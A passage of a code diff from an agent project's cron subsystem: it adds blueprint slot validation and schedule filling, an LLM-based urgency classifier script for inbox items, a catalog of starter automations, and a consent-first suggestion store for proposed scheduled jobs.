for s in blueprint.slots:
|
||||
val = values.get(s.name, s.default)
|
||||
if val is None or val == "":
|
||||
if s.optional:
|
||||
continue
|
||||
val = ""
|
||||
sval = str(val)
|
||||
if s.type == "text" or " " in sval:
|
||||
sval = '"' + sval.replace('"', '\\"') + '"'
|
||||
parts.append(f"{s.name}={sval}")
|
||||
return " ".join(parts)
|
||||
|
||||
|
||||
def blueprint_deeplink(blueprint: AutomationBlueprint, values: Optional[Dict[str, Any]] = None) -> str:
|
||||
"""Build the ``hermes://blueprint/<key>?slot=val`` deep-link URL."""
|
||||
from urllib.parse import quote, urlencode
|
||||
|
||||
values = values or {}
|
||||
query = {}
|
||||
for s in blueprint.slots:
|
||||
val = values.get(s.name, s.default)
|
||||
if val not in (None, ""):
|
||||
query[s.name] = str(val)
|
||||
qs = ("?" + urlencode(query)) if query else ""
|
||||
return f"hermes://blueprint/{quote(blueprint.key)}{qs}"
|
||||
|
||||
|
||||
def _humanize_schedule(blueprint: AutomationBlueprint) -> str:
|
||||
"""A short human-readable description of when a blueprint runs (defaults)."""
|
||||
sched = blueprint.schedule_template
|
||||
if sched.startswith("*/"):
|
||||
iv = next((s for s in blueprint.slots if s.name == "interval_min"), None)
|
||||
every = (iv.default if iv else None) or sched.split("/")[1].split()[0]
|
||||
return f"every {every} minutes"
|
||||
if "{interval_hours}" in sched:
|
||||
iv = next((s for s in blueprint.slots if s.name == "interval_hours"), None)
|
||||
every = str((iv.default if iv else None) or "1")
|
||||
scope = "weekdays, " if "* * 1-5" in sched else ""
|
||||
return f"{scope}every hour" if every == "1" else f"{scope}every {every} hours"
|
||||
time_slot = next((s for s in blueprint.slots if s.type == "time"), None)
|
||||
when = time_slot.default if time_slot else None
|
||||
if "* * 1-5" in sched:
|
||||
return f"weekdays at {when}" if when else "every weekday"
|
||||
if "{dow}" in sched:
|
||||
day_slot = next((s for s in blueprint.slots if s.name in ("day", "recurrence")), None)
|
||||
scope = (day_slot.default if day_slot else "") or ""
|
||||
if scope and when:
|
||||
return f"{scope} at {when}"
|
||||
return f"at {when}" if when else "on a schedule"
|
||||
if when:
|
||||
return f"daily at {when}"
|
||||
return "on a schedule"
|
||||
|
||||
|
||||
def blueprint_catalog_entry(blueprint: AutomationBlueprint) -> Dict[str, Any]:
|
||||
"""Unified serializable shape for a blueprint — used by the docs generator
|
||||
and the dashboard API. Combines the form schema, the ready-to-paste slash
|
||||
command, the deep-link URL, and a human-readable schedule.
|
||||
"""
|
||||
return {
|
||||
**blueprint_form_schema(blueprint),
|
||||
"schedule": blueprint.schedule_template,
|
||||
"scheduleHuman": _humanize_schedule(blueprint),
|
||||
"command": blueprint_slash_command(blueprint),
|
||||
"appUrl": blueprint_deeplink(blueprint),
|
||||
}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fill + validate + translate to a create_job spec
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_TIME_RE = re.compile(r"^([01]?\d|2[0-3]):([0-5]\d)$")
|
||||
_DAY_TO_DOW = {
|
||||
"sunday": "0", "monday": "1", "tuesday": "2", "wednesday": "3",
|
||||
"thursday": "4", "friday": "5", "saturday": "6",
|
||||
}
|
||||
|
||||
|
||||
def _resolve_schedule(blueprint: AutomationBlueprint, values: Dict[str, Any]) -> str:
|
||||
"""Fill the schedule_template placeholders from resolved slot values."""
|
||||
sched = blueprint.schedule_template
|
||||
|
||||
# A free-text `schedule` slot passes through verbatim (full flexibility).
|
||||
if "schedule" in values and values["schedule"]:
|
||||
return str(values["schedule"])
|
||||
|
||||
repl: Dict[str, str] = {}
|
||||
|
||||
# time -> minute/hour
|
||||
time_val = values.get("time")
|
||||
if "{minute}" in sched or "{hour}" in sched:
|
||||
if not time_val:
|
||||
raise BlueprintFillError("a time is required")
|
||||
m = _TIME_RE.match(str(time_val).strip())
|
||||
if not m:
|
||||
raise BlueprintFillError(f"invalid time {time_val!r} — use HH:MM (24h)")
|
||||
repl["hour"] = str(int(m.group(1)))
|
||||
repl["minute"] = str(int(m.group(2)))
|
||||
|
||||
# weekday set -> dow
|
||||
if "{dow}" in sched:
|
||||
if "recurrence" in values:
|
||||
preset = str(values.get("recurrence", "everyday")).lower()
|
||||
if preset not in WEEKDAY_PRESETS:
|
||||
raise BlueprintFillError(
|
||||
f"unknown recurrence {preset!r} — one of {', '.join(WEEKDAY_PRESETS)}"
|
||||
)
|
||||
repl["dow"] = WEEKDAY_PRESETS[preset]
|
||||
elif "day" in values:
|
||||
day = str(values.get("day", "")).lower()
|
||||
if day not in _DAY_TO_DOW:
|
||||
raise BlueprintFillError(f"unknown day {day!r}")
|
||||
repl["dow"] = _DAY_TO_DOW[day]
|
||||
else:
|
||||
repl["dow"] = "*"
|
||||
|
||||
# interval (minutes) for */N schedules
|
||||
if "{interval_min}" in sched:
|
||||
iv = str(values.get("interval_min", "")).strip()
|
||||
if not iv.isdigit() or int(iv) <= 0:
|
||||
raise BlueprintFillError(f"invalid interval {iv!r} — minutes as a positive integer")
|
||||
repl["interval_min"] = iv
|
||||
|
||||
# Any remaining {slot} placeholders are filled verbatim from validated
|
||||
# enum/text slot values (e.g. an hour-range window). Enum options have
|
||||
# already been checked in fill_blueprint, so these are safe to interpolate.
|
||||
for name in re.findall(r"\{(\w+)\}", sched):
|
||||
if name not in repl and name in values:
|
||||
repl[name] = str(values[name])
|
||||
|
||||
try:
|
||||
return sched.format(**repl)
|
||||
except KeyError as e: # pragma: no cover - template/slot mismatch is a dev error
|
||||
raise BlueprintFillError(f"schedule template missing value for {e}") from e
|
||||
|
||||
|
||||
def fill_blueprint(
|
||||
blueprint: AutomationBlueprint,
|
||||
values: Dict[str, Any],
|
||||
*,
|
||||
origin: Optional[Dict[str, Any]] = None,
|
||||
) -> Dict[str, Any]:
|
||||
"""Validate ``values`` and return ``cron.jobs.create_job`` kwargs.
|
||||
|
||||
Missing required (non-optional) slots raise BlueprintFillError naming the
|
||||
slot, so a form can show field errors and the agent knows what to ask.
|
||||
Unknown slot names are rejected (a typo'd ``tiem=07:15`` must not silently
|
||||
create a job with the default time). Enum values are checked against their
|
||||
options. The result is passed straight to ``create_job`` — no second schema.
|
||||
"""
|
||||
known = {s.name for s in blueprint.slots}
|
||||
unknown = sorted(set(values) - known)
|
||||
if unknown:
|
||||
raise BlueprintFillError(
|
||||
f"unknown slot{'s' if len(unknown) > 1 else ''}: "
|
||||
f"{', '.join(unknown)} — valid: {', '.join(s.name for s in blueprint.slots)}"
|
||||
)
|
||||
resolved: Dict[str, Any] = {}
|
||||
for s in blueprint.slots:
|
||||
raw = values.get(s.name, s.default)
|
||||
if raw in (None, ""):
|
||||
if s.optional:
|
||||
continue
|
||||
raise BlueprintFillError(f"missing required value: {s.name} ({s.label})")
|
||||
if s.type == "enum" and s.strict and s.options and str(raw) not in {str(o) for o in s.options}:
|
||||
raise BlueprintFillError(
|
||||
f"{s.name}={raw!r} not allowed — one of {', '.join(map(str, s.options))}"
|
||||
)
|
||||
resolved[s.name] = raw
|
||||
|
||||
schedule = _resolve_schedule(blueprint, resolved)
|
||||
|
||||
# Render the prompt with whatever slots it references.
|
||||
try:
|
||||
prompt = blueprint.prompt_template.format(**resolved)
|
||||
except KeyError as e:
|
||||
raise BlueprintFillError(f"blueprint prompt missing value for {e}") from e
|
||||
|
||||
spec: Dict[str, Any] = {
|
||||
"prompt": prompt,
|
||||
"schedule": schedule,
|
||||
"name": blueprint.title,
|
||||
"deliver": resolved.get("deliver", blueprint.deliver_default),
|
||||
}
|
||||
if blueprint.skills:
|
||||
spec["skills"] = list(blueprint.skills)
|
||||
if origin is not None:
|
||||
spec["origin"] = origin
|
||||
return spec
|
||||
@@ -138,6 +138,7 @@ _HOME_TARGET_ENV_VARS = {
|
||||
"bluebubbles": "BLUEBUBBLES_HOME_CHANNEL",
|
||||
"qqbot": "QQBOT_HOME_CHANNEL",
|
||||
"whatsapp": "WHATSAPP_HOME_CHANNEL",
|
||||
"whatsapp_cloud": "WHATSAPP_CLOUD_HOME_CHANNEL",
|
||||
}
|
||||
|
||||
# Legacy env var names kept for back-compat. Each entry is the current
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
"""Scripts shipped with the cron subsystem (runnable via ``python3 -m cron.scripts.<name>``)."""
|
||||
@@ -0,0 +1,226 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Classify candidate items by urgency/importance and emit only the urgent ones.
|
||||
|
||||
The proactive-monitor pattern: a fetch step (a watcher script, an inbox dump, a
|
||||
feed) produces a list of candidate items; this script scores each with a cheap
|
||||
LLM and prints ONLY the items at or above a threshold. Below-threshold runs
|
||||
print nothing, so a cron job wrapping this stays silent unless something
|
||||
actually matters -- the classic urgency-monitor pattern (fetch -> classify
|
||||
urgency -> surface only what's above the bar).
|
||||
|
||||
Design choices:
|
||||
* Uses Hermes' auxiliary client with task="monitor", so the classifier model
|
||||
is configured once in config.yaml (auxiliary.monitor.{provider,model}) and
|
||||
can be a cheap fast model independent of the main chat model.
|
||||
* Reads items as JSON (a list of objects) from stdin or --input-file.
|
||||
* One LLM call scores the whole batch (cheap, single round-trip) and returns
|
||||
structured scores; we filter locally.
|
||||
* Empty result -> empty stdout -> the cron job's [SILENT]/empty-stdout path
|
||||
suppresses delivery. No spam on quiet intervals.
|
||||
|
||||
Usage (standalone):
|
||||
cat items.json | python classify_items.py --threshold 7 \
|
||||
--criteria "Urgent if it needs a reply today or is from my manager/family"
|
||||
|
||||
Usage (wired to a watcher via cron, agent mode):
|
||||
Ask the agent: "Every 10 minutes, run watch_http_json.py for my inbox feed,
|
||||
pipe its JSON into classify_items.py with my urgency criteria, and deliver
|
||||
whatever it prints. Stay silent if it prints nothing."
|
||||
|
||||
Item schema (flexible): each item is an object; the classifier sees the whole
|
||||
object. A "title"/"subject"/"summary"/"text" field helps it judge. An "id"
|
||||
field (any of id/guid/message_id/url) is echoed back so duplicates can be
|
||||
deduped upstream.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
|
||||
def _eprint(*args: Any) -> None:
|
||||
print(*args, file=sys.stderr)
|
||||
|
||||
|
||||
def _load_items(input_file: Optional[str]) -> List[Dict[str, Any]]:
|
||||
raw = ""
|
||||
if input_file:
|
||||
with open(input_file, encoding="utf-8") as f:
|
||||
raw = f.read()
|
||||
else:
|
||||
raw = sys.stdin.read()
|
||||
raw = raw.strip()
|
||||
if not raw:
|
||||
return []
|
||||
try:
|
||||
data = json.loads(raw)
|
||||
except json.JSONDecodeError as e:
|
||||
_eprint(f"classify_items: input is not valid JSON: {e}")
|
||||
sys.exit(2)
|
||||
if isinstance(data, dict):
|
||||
# Allow {"items": [...]} or a single object.
|
||||
if isinstance(data.get("items"), list):
|
||||
return data["items"]
|
||||
return [data]
|
||||
if isinstance(data, list):
|
||||
return [x for x in data if isinstance(x, dict)]
|
||||
_eprint("classify_items: expected a JSON list or {items: [...]}")
|
||||
sys.exit(2)
|
||||
|
||||
|
||||
def _item_id(item: Dict[str, Any], index: int) -> str:
|
||||
for key in ("id", "guid", "message_id", "url", "link"):
|
||||
val = item.get(key)
|
||||
if val:
|
||||
return str(val)
|
||||
return f"item-{index}"
|
||||
|
||||
|
||||
_CLASSIFY_INSTRUCTIONS = (
|
||||
"You are an urgency classifier for a proactive assistant. You will be given "
|
||||
"a numbered list of items and the user's importance criteria. Score EACH "
|
||||
"item from 0 (ignore entirely) to 10 (interrupt the user now). Return ONLY a "
|
||||
"JSON array, one object per item, in the same order: "
|
||||
'[{"index": <int>, "score": <int 0-10>, "reason": "<short>"}]. '
|
||||
"No prose, no markdown fences. Be conservative: most items should score low. "
|
||||
"Only score high when the item clearly meets the user's criteria."
|
||||
)
|
||||
|
||||
|
||||
def _build_prompt(items: List[Dict[str, Any]], criteria: str) -> str:
|
||||
lines = [f"USER IMPORTANCE CRITERIA:\n{criteria}\n", "ITEMS:"]
|
||||
for i, item in enumerate(items):
|
||||
# Show a compact view; the model sees the salient fields.
|
||||
view = {
|
||||
k: item[k]
|
||||
for k in ("title", "subject", "summary", "text", "body", "from", "sender", "url")
|
||||
if k in item
|
||||
}
|
||||
if not view:
|
||||
view = item # fall back to the whole object
|
||||
lines.append(f"[{i}] {json.dumps(view, ensure_ascii=False)[:1200]}")
|
||||
lines.append(
|
||||
"\nReturn the JSON array of scores now (one object per item, same order)."
|
||||
)
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def _parse_scores(content: str, n_items: int) -> Dict[int, Dict[str, Any]]:
|
||||
text = (content or "").strip()
|
||||
# Tolerate accidental markdown fences.
|
||||
if text.startswith("```"):
|
||||
text = text.strip("`")
|
||||
if "\n" in text:
|
||||
text = text.split("\n", 1)[1]
|
||||
try:
|
||||
arr = json.loads(text)
|
||||
except json.JSONDecodeError:
|
||||
# Last-ditch: find the first [...] block.
|
||||
start = text.find("[")
|
||||
end = text.rfind("]")
|
||||
if start >= 0 and end > start:
|
||||
try:
|
||||
arr = json.loads(text[start : end + 1])
|
||||
except json.JSONDecodeError:
|
||||
_eprint("classify_items: could not parse classifier output")
|
||||
return {}
|
||||
else:
|
||||
_eprint("classify_items: classifier returned no JSON array")
|
||||
return {}
|
||||
out: Dict[int, Dict[str, Any]] = {}
|
||||
if isinstance(arr, list):
|
||||
for obj in arr:
|
||||
if not isinstance(obj, dict):
|
||||
continue
|
||||
idx = obj.get("index")
|
||||
if isinstance(idx, int) and 0 <= idx < n_items:
|
||||
out[idx] = obj
|
||||
return out
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Classify items by urgency; emit only urgent ones.")
|
||||
parser.add_argument("--criteria", required=True, help="Plain-language importance criteria.")
|
||||
parser.add_argument("--threshold", type=int, default=7, help="Minimum score (0-10) to surface. Default 7.")
|
||||
parser.add_argument("--input-file", default=None, help="Read items JSON from this file instead of stdin.")
|
||||
parser.add_argument("--format", choices=["text", "json"], default="text", help="Output format for surfaced items.")
|
||||
args = parser.parse_args()
|
||||
|
||||
items = _load_items(args.input_file)
|
||||
if not items:
|
||||
# Nothing to classify -> silent. This is the common quiet-interval case.
|
||||
return 0
|
||||
|
||||
# Import here so --help works without the package importable.
|
||||
try:
|
||||
from agent.auxiliary_client import call_llm
|
||||
except Exception as e: # pragma: no cover - import guard
|
||||
_eprint(f"classify_items: cannot import auxiliary client: {e}")
|
||||
return 3
|
||||
|
||||
prompt = _build_prompt(items, args.criteria)
|
||||
try:
|
||||
resp = call_llm(
|
||||
task="monitor",
|
||||
messages=[{"role": "user", "content": prompt}],
|
||||
max_tokens=1024,
|
||||
temperature=0,
|
||||
)
|
||||
content = resp.choices[0].message.content
|
||||
if not isinstance(content, str):
|
||||
content = str(content) if content else ""
|
||||
except Exception as e:
|
||||
# Classification failure is NOT silent -- surface it so a broken monitor
|
||||
# doesn't quietly swallow important items. Non-zero exit -> cron alerts.
|
||||
_eprint(f"classify_items: classifier call failed: {e}")
|
||||
return 4
|
||||
|
||||
scores = _parse_scores(content, len(items))
|
||||
surfaced = []
|
||||
for i, item in enumerate(items):
|
||||
s = scores.get(i)
|
||||
score = s.get("score") if isinstance(s, dict) else None
|
||||
if isinstance(score, int) and score >= args.threshold:
|
||||
surfaced.append((i, item, s))
|
||||
|
||||
if not surfaced:
|
||||
# Below threshold -> silent. Empty stdout; cron suppresses delivery.
|
||||
return 0
|
||||
|
||||
if args.format == "json":
|
||||
out = [
|
||||
{
|
||||
"id": _item_id(item, i),
|
||||
"score": s.get("score"),
|
||||
"reason": s.get("reason", ""),
|
||||
"item": item,
|
||||
}
|
||||
for (i, item, s) in surfaced
|
||||
]
|
||||
print(json.dumps(out, ensure_ascii=False, indent=2))
|
||||
else:
|
||||
blocks = []
|
||||
for (i, item, s) in surfaced:
|
||||
title = (
|
||||
item.get("title")
|
||||
or item.get("subject")
|
||||
or item.get("summary")
|
||||
or _item_id(item, i)
|
||||
)
|
||||
url = item.get("url") or item.get("link") or ""
|
||||
reason = s.get("reason", "")
|
||||
block = f"## [{s.get('score')}/10] {title}"
|
||||
if url:
|
||||
block += f"\n{url}"
|
||||
if reason:
|
||||
block += f"\n_{reason}_"
|
||||
blocks.append(block)
|
||||
print("\n\n".join(blocks))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,154 @@
|
||||
"""Curated catalog of starter cron-job suggestions.
|
||||
|
||||
These are the built-in automations Hermes can offer a new user out of the box —
|
||||
the ``catalog`` source of the unified suggestion surface. Each entry is a
|
||||
ready-to-run ``cron.jobs.create_job`` spec wrapped as a suggestion; the user
|
||||
accepts via ``/suggestions``. Nothing here auto-schedules.
|
||||
|
||||
The "important-mail monitor" entry is where the old proactive-monitor engine
|
||||
lives now: its ``classify_items.py`` (poll a source -> LLM-score urgency ->
|
||||
surface only above-threshold) is ONE catalog automation, not a standalone
|
||||
feature.
|
||||
|
||||
Adding a catalog entry: append a CatalogEntry. Keep prompts self-contained
|
||||
(cron jobs run with no chat context) and schedules sensible. The ``job_spec``
|
||||
is passed verbatim to ``create_job`` on accept.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any, Callable, Dict, List, Optional
|
||||
|
||||
__all__ = ["CatalogEntry", "CATALOG", "seed_catalog_suggestions", "classify_items_script_path"]
|
||||
|
||||
|
||||
def classify_items_script_path() -> str:
|
||||
"""Absolute path to the urgency classifier script shipped with cron/."""
|
||||
return str((Path(__file__).resolve().parent / "scripts" / "classify_items.py"))
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class CatalogEntry:
|
||||
"""A curated starter automation offered as a suggestion."""
|
||||
|
||||
key: str # stable dedup key (never re-offered once dismissed)
|
||||
title: str
|
||||
description: str
|
||||
job_spec: Dict[str, Any] # kwargs for cron.jobs.create_job
|
||||
|
||||
|
||||
# The curated set. Schedules use the cron/interval syntax create_job accepts.
|
||||
CATALOG: List[CatalogEntry] = [
|
||||
CatalogEntry(
|
||||
key="catalog:daily-briefing",
|
||||
title="Daily briefing",
|
||||
description="Every morning at 8am, a short briefing: today's calendar, "
|
||||
"weather, and anything urgent waiting on you.",
|
||||
job_spec={
|
||||
"prompt": (
|
||||
"Produce a concise morning briefing for the user: today's "
|
||||
"calendar events, the local weather, and any urgent items "
|
||||
"(unread important email, due tasks). Keep it short and "
|
||||
"scannable. If you have no connected data sources, give a brief "
|
||||
"general good-morning with the date and offer to connect "
|
||||
"calendar/email."
|
||||
),
|
||||
"schedule": "0 8 * * *",
|
||||
"name": "Daily briefing",
|
||||
"deliver": "origin",
|
||||
},
|
||||
),
|
||||
CatalogEntry(
|
||||
key="catalog:important-mail-monitor",
|
||||
title="Important-mail monitor",
|
||||
description="Check your inbox periodically and ping you ONLY about mail "
|
||||
"that actually needs attention — never the newsletters.",
|
||||
job_spec={
|
||||
"prompt": (
|
||||
"Check the user's inbox for new messages since the last run. "
|
||||
"For each candidate, judge urgency against this rule: surface "
|
||||
"only mail that needs a reply today, is from a manager/family "
|
||||
"member, or mentions a deadline. Pipe candidates through the "
|
||||
"urgency classifier (run `python3 -m cron.scripts.classify_items "
|
||||
"--threshold 7 --criteria ...` from the hermes-agent install — "
|
||||
"resolve the script path at run time, do not assume a fixed "
|
||||
"location) and deliver ONLY what it returns. If nothing "
|
||||
"clears the bar, respond with [SILENT] so the user is not "
|
||||
"pinged. Requires a connected mail source; if none is "
|
||||
"configured, explain how to connect one and then stop."
|
||||
),
|
||||
"schedule": "every 30m",
|
||||
"name": "Important-mail monitor",
|
||||
"deliver": "origin",
|
||||
},
|
||||
),
|
||||
CatalogEntry(
|
||||
key="catalog:weekly-review",
|
||||
title="Weekly review",
|
||||
description="Every Sunday evening, a recap of the week: what got done, "
|
||||
"what's still open, and what's coming up next week.",
|
||||
job_spec={
|
||||
"prompt": (
|
||||
"Produce a weekly review for the user: summarize what was "
|
||||
"accomplished this week, list still-open items, and preview "
|
||||
"next week's calendar. Pull from whatever sources are connected "
|
||||
"(calendar, task tools, recent conversations). Keep it tight."
|
||||
),
|
||||
"schedule": "0 18 * * 0",
|
||||
"name": "Weekly review",
|
||||
"deliver": "origin",
|
||||
},
|
||||
),
|
||||
CatalogEntry(
|
||||
key="catalog:standup-reminder",
|
||||
title="Workday start reminder",
|
||||
description="A weekday nudge at 9am with your day's agenda and top "
|
||||
"priorities, so you start focused.",
|
||||
job_spec={
|
||||
"prompt": (
|
||||
"Give the user a brief weekday start-of-day nudge: their "
|
||||
"calendar for today and the 1-3 highest-priority things to "
|
||||
"focus on, inferred from recent context and any task tools. "
|
||||
"Encouraging, short, one message."
|
||||
),
|
||||
"schedule": "0 9 * * 1-5",
|
||||
"name": "Workday start reminder",
|
||||
"deliver": "origin",
|
||||
},
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
def seed_catalog_suggestions(
|
||||
*,
|
||||
add_fn: Optional[Callable[..., Optional[Dict[str, Any]]]] = None,
|
||||
keys: Optional[List[str]] = None,
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""Register catalog entries as pending suggestions.
|
||||
|
||||
``add_fn`` defaults to ``cron.suggestions.add_suggestion`` (injectable for
|
||||
tests). ``keys`` restricts to specific catalog entries; omit to seed all.
|
||||
Entries already dismissed/accepted (by dedup key) or beyond the pending cap
|
||||
are skipped by the store, so re-seeding is safe and idempotent. Returns the
|
||||
list of suggestion records actually created.
|
||||
"""
|
||||
if add_fn is None:
|
||||
from cron.suggestions import add_suggestion as add_fn # type: ignore[assignment]
|
||||
|
||||
wanted = set(keys) if keys else None
|
||||
created: List[Dict[str, Any]] = []
|
||||
for entry in CATALOG:
|
||||
if wanted is not None and entry.key not in wanted:
|
||||
continue
|
||||
rec = add_fn(
|
||||
title=entry.title,
|
||||
description=entry.description,
|
||||
source="catalog",
|
||||
job_spec=dict(entry.job_spec),
|
||||
dedup_key=entry.key,
|
||||
)
|
||||
if rec is not None:
|
||||
created.append(rec)
|
||||
return created
|
||||
@@ -0,0 +1,257 @@
|
||||
"""Suggested cron jobs — proposed automations the user accepts with one tap.
|
||||
|
||||
A *suggestion* is a ready-to-run cron job spec that Hermes surfaces to the
|
||||
user, who accepts it (creates the real cron job) or dismisses it (latched so
|
||||
it is never re-offered). This is the single surface every automation proposal
|
||||
flows through, regardless of where it came from:
|
||||
|
||||
* ``catalog`` — a curated starter automation (daily briefing, important-mail
|
||||
monitor, weekly digest, ...).
|
||||
* ``blueprint`` — the user installed a skill that carries a ``blueprint:`` block
|
||||
(see ``tools/blueprints.py``); installing it registers a
|
||||
suggestion instead of auto-scheduling.
|
||||
* ``usage`` — the background self-improvement review noticed a recurring
|
||||
ask that a scheduled job would serve.
|
||||
* ``integration`` — the user connected an account (Gmail, GitHub, ...) and
|
||||
the obvious automations for that surface are offered.
|
||||
|
||||
Accepting a suggestion just calls the existing ``cron.jobs.create_job`` with
|
||||
the stored ``job_spec`` — there is NO second job engine. Suggestions never
|
||||
auto-create jobs; acceptance is always explicit (consent-first). Dismissed
|
||||
suggestions latch by a stable ``dedup_key`` so the same proposal is not
|
||||
re-offered after the user says no.
|
||||
|
||||
Storage mirrors ``cron/jobs.py``: ``~/.hermes/cron/suggestions.json``, atomic
|
||||
writes, an in-process lock, and 0600 perms.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import tempfile
|
||||
import threading
|
||||
import uuid
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from hermes_constants import get_hermes_home
|
||||
from hermes_time import now as _hermes_now
|
||||
from utils import atomic_replace
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
CRON_DIR = get_hermes_home().resolve() / "cron"
|
||||
SUGGESTIONS_FILE = CRON_DIR / "suggestions.json"
|
||||
|
||||
# In-process lock protecting load->modify->save cycles (the background review
|
||||
# fork and the main agent can both write).
|
||||
_suggestions_lock = threading.Lock()
|
||||
|
||||
# Cap pending suggestions so the list never becomes a nag wall. When full,
|
||||
# new suggestions are dropped (the user should clear the backlog first).
|
||||
MAX_PENDING = 5
|
||||
|
||||
VALID_SOURCES = frozenset({"catalog", "blueprint", "usage", "integration"})
|
||||
_STATUS_PENDING = "pending"
|
||||
_STATUS_ACCEPTED = "accepted"
|
||||
_STATUS_DISMISSED = "dismissed"
|
||||
|
||||
|
||||
def _secure_file(path: Path) -> None:
|
||||
try:
|
||||
os.chmod(path, 0o600)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _ensure_dir() -> None:
|
||||
CRON_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
|
||||
def _load_raw() -> Dict[str, Any]:
|
||||
if not SUGGESTIONS_FILE.exists():
|
||||
return {"suggestions": []}
|
||||
try:
|
||||
with open(SUGGESTIONS_FILE, "r", encoding="utf-8") as f:
|
||||
data = json.load(f)
|
||||
except (json.JSONDecodeError, OSError) as e:
|
||||
logger.warning("suggestions.json unreadable (%s); starting empty", e)
|
||||
return {"suggestions": []}
|
||||
if isinstance(data, dict) and isinstance(data.get("suggestions"), list):
|
||||
return data
|
||||
if isinstance(data, list):
|
||||
return {"suggestions": data}
|
||||
logger.warning("suggestions.json malformed; starting empty")
|
||||
return {"suggestions": []}
|
||||
|
||||
|
||||
def _save_raw(suggestions: List[Dict[str, Any]]) -> None:
|
||||
_ensure_dir()
|
||||
fd, tmp_path = tempfile.mkstemp(dir=str(SUGGESTIONS_FILE.parent), suffix=".tmp", prefix=".sugg_")
|
||||
try:
|
||||
with os.fdopen(fd, "w", encoding="utf-8") as f:
|
||||
json.dump(
|
||||
{"suggestions": suggestions, "updated_at": _hermes_now().isoformat()},
|
||||
f,
|
||||
indent=2,
|
||||
)
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
atomic_replace(tmp_path, SUGGESTIONS_FILE)
|
||||
_secure_file(SUGGESTIONS_FILE)
|
||||
except BaseException:
|
||||
try:
|
||||
os.unlink(tmp_path)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
|
||||
|
||||
def load_suggestions() -> List[Dict[str, Any]]:
|
||||
"""Return all suggestion records (any status)."""
|
||||
return _load_raw().get("suggestions", [])
|
||||
|
||||
|
||||
def list_pending() -> List[Dict[str, Any]]:
|
||||
"""Return pending suggestions in creation order (oldest first)."""
|
||||
return [s for s in load_suggestions() if s.get("status") == _STATUS_PENDING]
|
||||
|
||||
|
||||
def add_suggestion(
|
||||
*,
|
||||
title: str,
|
||||
description: str,
|
||||
source: str,
|
||||
job_spec: Dict[str, Any],
|
||||
dedup_key: str,
|
||||
) -> Optional[Dict[str, Any]]:
|
||||
"""Register a pending suggestion. Returns the record, or None if skipped.
|
||||
|
||||
Skipped when: the source is unknown, the same ``dedup_key`` was already
|
||||
dismissed or accepted (never re-offer), an identical pending suggestion
|
||||
exists, or the pending list is full (``MAX_PENDING``).
|
||||
|
||||
``job_spec`` is a dict of kwargs for ``cron.jobs.create_job`` — accepting
|
||||
the suggestion passes it straight through, so there is no second schema to
|
||||
keep in sync.
|
||||
"""
|
||||
if source not in VALID_SOURCES:
|
||||
raise ValueError(f"unknown suggestion source: {source!r}")
|
||||
if not title.strip() or not dedup_key.strip():
|
||||
raise ValueError("title and dedup_key are required")
|
||||
|
||||
with _suggestions_lock:
|
||||
suggestions = _load_raw().get("suggestions", [])
|
||||
|
||||
# Never re-offer something the user already saw and decided on, and
|
||||
# never duplicate a still-pending proposal.
|
||||
for existing in suggestions:
|
||||
if existing.get("dedup_key") == dedup_key:
|
||||
if existing.get("status") in (_STATUS_DISMISSED, _STATUS_ACCEPTED):
|
||||
return None
|
||||
if existing.get("status") == _STATUS_PENDING:
|
||||
return None
|
||||
|
||||
pending_count = sum(1 for s in suggestions if s.get("status") == _STATUS_PENDING)
|
||||
if pending_count >= MAX_PENDING:
|
||||
logger.info("Suggestion backlog full (%d); dropping %r", MAX_PENDING, title)
|
||||
return None
|
||||
|
||||
record = {
|
||||
"id": uuid.uuid4().hex[:12],
|
||||
"title": title.strip(),
|
||||
"description": description.strip(),
|
||||
"source": source,
|
||||
"job_spec": job_spec,
|
||||
"dedup_key": dedup_key.strip(),
|
||||
"status": _STATUS_PENDING,
|
||||
"created_at": _hermes_now().isoformat(),
|
||||
}
|
||||
suggestions.append(record)
|
||||
_save_raw(suggestions)
|
||||
return record
|
||||
|
||||
|
||||
def get_suggestion(ref: str) -> Optional[Dict[str, Any]]:
|
||||
"""Resolve a suggestion by id, 1-based pending index, or title (exact)."""
|
||||
suggestions = load_suggestions()
|
||||
# By id.
|
||||
for s in suggestions:
|
||||
if s.get("id") == ref:
|
||||
return s
|
||||
# By 1-based pending index.
|
||||
if ref.isdigit():
|
||||
pending = [s for s in suggestions if s.get("status") == _STATUS_PENDING]
|
||||
idx = int(ref) - 1
|
||||
if 0 <= idx < len(pending):
|
||||
return pending[idx]
|
||||
# By exact title (case-insensitive).
|
||||
for s in suggestions:
|
||||
if s.get("title", "").lower() == ref.lower():
|
||||
return s
|
||||
return None
|
||||
|
||||
|
||||
def _set_status(suggestion_id: str, status: str) -> bool:
|
||||
with _suggestions_lock:
|
||||
suggestions = _load_raw().get("suggestions", [])
|
||||
changed = False
|
||||
for s in suggestions:
|
||||
if s.get("id") == suggestion_id:
|
||||
s["status"] = status
|
||||
s["resolved_at"] = _hermes_now().isoformat()
|
||||
changed = True
|
||||
break
|
||||
if changed:
|
||||
_save_raw(suggestions)
|
||||
return changed
|
||||
|
||||
|
||||
